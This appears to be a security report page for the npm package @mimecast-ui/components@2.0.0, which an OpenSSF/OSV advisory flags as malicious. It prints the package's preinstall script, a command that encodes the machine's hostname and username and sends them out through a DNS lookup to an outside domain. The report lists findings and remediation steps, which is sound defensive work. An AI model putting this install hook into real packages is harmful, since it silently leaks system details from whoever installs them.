@mimecast-ui/components
UI components
This report shows the evidence for @mimecast-ui/components@2.0.0, the only known version.
OpenSSF/OSV Malicious Advisory
imported 4mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-3507 confirms this npm version as malicious.
Advisory
MAL-2026-3507
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in @mimecast-ui/components (npm)
Details
The package @mimecast-ui/components was found to contain malicious code.
## Source: ossf-package-analysis (a8bd78a0c0e2baca560a44d5047bc0414e53cea80e7a97f0d37a109025bba99f) The OpenSSF Package Analysis project identified '@mimecast-ui/components' @ 2.0.0 (npm) as malicious.
It is considered malicious because:
- The package executes one or more commands associated with malicious behavior.
References
Independent scan evidence
public snapshotBehavioral surface
Trivial
Source & flagged code
2 flagged · loading sourcepackage.jsonView file
•scripts.preinstall = dig +short "$(echo c-$(hostname)-$(whoami) | base32 | tr -d '=' | rev).canary.rebind.fun.offensive.work"
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg•scripts.preinstall = dig +short "$(echo c-$(hostname)-$(whoami) | base32 | tr -d '=' | rev).canary.rebind.fun.offensive.work"
Medium
Ambiguous Install Lifecycle Script
Install-time lifecycle script is not statically allowlisted and needs review.
package.jsonView on unpkgFindings
1 High1 Medium1 Low
HighInstall Time Lifecycle Scriptspackage.json
MediumAmbiguous Install Lifecycle Scriptpackage.json
LowScripts Present
Affected versions and remediation
This report applies to @mimecast-ui/components@2.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing @mimecast-ui/components@2.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.